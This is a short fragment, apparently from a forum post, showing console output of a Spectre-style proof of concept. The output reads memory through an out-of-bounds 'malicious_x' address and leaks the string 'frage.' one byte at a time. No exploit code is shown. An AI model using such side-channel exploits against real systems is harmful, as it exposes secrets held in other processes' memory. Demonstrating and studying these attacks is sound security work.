Reading at malicious_x = 0xffffffffffdfec42... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfec43... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec44... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec45... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfec46... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec47... Success: 0x2E=’.’ score=2 

10.1. 07:54 sk7
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